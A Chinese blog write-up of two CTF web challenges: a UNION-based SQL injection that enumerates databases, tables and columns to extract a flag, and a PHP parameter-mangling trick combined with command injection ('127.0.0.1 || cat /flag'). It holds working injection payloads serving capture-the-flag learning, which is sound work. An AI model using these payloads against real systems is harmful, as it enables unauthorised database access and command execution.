NSSCTF-Web题目19(数据库注入、文件上传、php非法传参)

目录

[[LitCTF 2023]这是什么?SQL !注一下 !](#[LitCTF 2023]这是什么?SQL !注一下 !)

1、题目

2、知识点

3、思路

[[SWPUCTF 2023 秋季新生赛]Pingpingping](#[SWPUCTF 2023 秋季新生赛]Pingpingping)

4、题目

5、知识点

6、思路


[LitCTF 2023]这是什么?SQL !注一下 !

1、题目
2、知识点

数据库注入,联合查询

3、思路

首先,题目有提示我们参数为id,而且告诉我们闭合方式

先正常输入看看回显

加上闭合方式,?id=1))))))

结果没有回显,加上注释符

?id=1))))))--+

结果有正常回显,说明当前的闭合方式是正确的

使用联合查询语句 union select

?id=1)))))) union select 1,2--+

这里有两个回显位置

1、接下来判断库名

?id=1)))))) union select 1,database()--+

得到当前的库名为ctf

2、判断表名,这里要用到group_concat函数,下面会用到concat_ws 或者concat函数,在这里一起说明

group_concat:将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是将你要查询的那一列数据展示出来

concat:用于连接字符串的,concat(str1,'分隔符',str2,'分隔符',str3,...)

返回的结果为参数的结果并带有分隔符,

concat_ws:用于连接字符串的,concat('分隔符',str1,str2,str3,...)

这个函数的作用跟上面的concat一样,只不过这个函数可以提前定义好分隔符,不用每个变量后带'分隔符'

判断表名

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' --+

这里的表只有一个,users

3、判断字段名

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users' --+

得到三个字段:id,username,password

4、判断值,看看有没有flag

得到所有的信息,发现flag是假的

现在的情况说明flag藏在其他库的表里

那怎么查看其他库名呢?

information_schema这个库就存了所有数据库的信息,里面的SCHEMATA表就存了所有库名

5、查找所有库名

?id=1)))))) union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

接下来就是找库里的表,然后字段名、然后值,步骤跟上面一下

flag藏在ctftraining这个库里

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

得到表名:flag,news,users

语句跟上面的类似,也就改一下值,有哪里不懂的欢迎来问我,我这里直接到最后一步

下面三句都可以得到flag

?id=1)))))) union select 1,concat(flag) from ctftraining.flag --+

?id=1)))))) union select 1,concat_ws(',',flag) from ctftraining.flag --+

?id=1)))))) union select 1,flag from ctftraining.flag --+

得到flag:NSSCTF{76a62524-3666-4478-bf2e-3b231f43fbba}


[SWPUCTF 2023 秋季新生赛]Pingpingping

4、题目
5、知识点

RCE、PHP非法传参

6、思路

这里要我们上传Ping_ip.exe的值,上传后会执行系统命令,ping

1、我们先正常上传看看

结果没有任何反应

抓个包看看

在响应包里我们知道了php的版本为:PHP/7.4.33

这里涉及了一个知识点:php的非法传参:当变量名中出现**** 和空格时将被转换为下划线,当PHP版本小于8时,如果参数中出现中括号[,中括号会背转换成下划线_,但是中括号后的非法字符(也就是点和空格)不会被转化为下划线_

即原来我们的参数 Ping_ip**.exe** 上传后会被转化为 Ping_ip**_exe**

所以才没有结果,现在我们把_改成[ ,[会被转换成_,但后面的点就不会了

**Ping[ip.exe ------>**Ping_ip.exe

下面的报错信息没有了,说明我们成功执行了系统命令

接下来我们使用 管道符(||) 进行拼接命令

"||" 是一个管道操作符,它用于在命令行中执行多个命令,当前一个命令执行成功时,才会执行后一个命令。

?Ping[ip.exe=127.0.0.1 || ls /

?Ping[ip.exe=127.0.0.1 || cat /flag

得到flag:NSSCTF{9f2fdc0f-5bf4-455b-b211-1eebc2f0914e}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

相关推荐
爱可生开源社区1 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1772 天前
《从零搭建NestJS项目》
数据库·typescript
一次旅行2 天前
网络安全总结
安全·web安全
加号32 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏2 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐2 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再2 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
tryCbest2 天前
数据库SQL学习
数据库·sql
jnrjian2 天前
ORA-01017 查找机器名 用户名 以及library cache lock 参数含义
数据库·oracle
十月南城2 天前
数据湖技术对比——Iceberg、Hudi、Delta的表格格式与维护策略
大数据·数据库·数据仓库·hive·hadoop·spark